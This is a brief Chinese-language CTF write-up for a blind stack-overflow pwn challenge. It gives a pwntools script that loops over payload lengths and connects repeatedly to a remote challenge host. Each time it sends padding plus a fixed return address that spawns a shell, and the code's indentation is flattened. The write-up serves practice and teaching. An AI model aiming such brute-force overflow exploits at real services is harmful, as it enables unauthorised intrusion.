接触的比较少的盲打类型,算是积累经验吧,用到的漏洞是栈溢出,需要考虑64位和32位系统两种情况,并用try except做自动化的测试。
exp:
from pwn import *
# context.log_level = "debug"
shell = 0x40060d
for i in range(1000):
r = remote("111.200.241.244", 62243)
log.info("payload lenth:" + str(i))
try:
r.sendlineafter(b">", cyclic(i) + p64(shell))
print(r.recv())
except:
pass
64位没跑通换32位即可。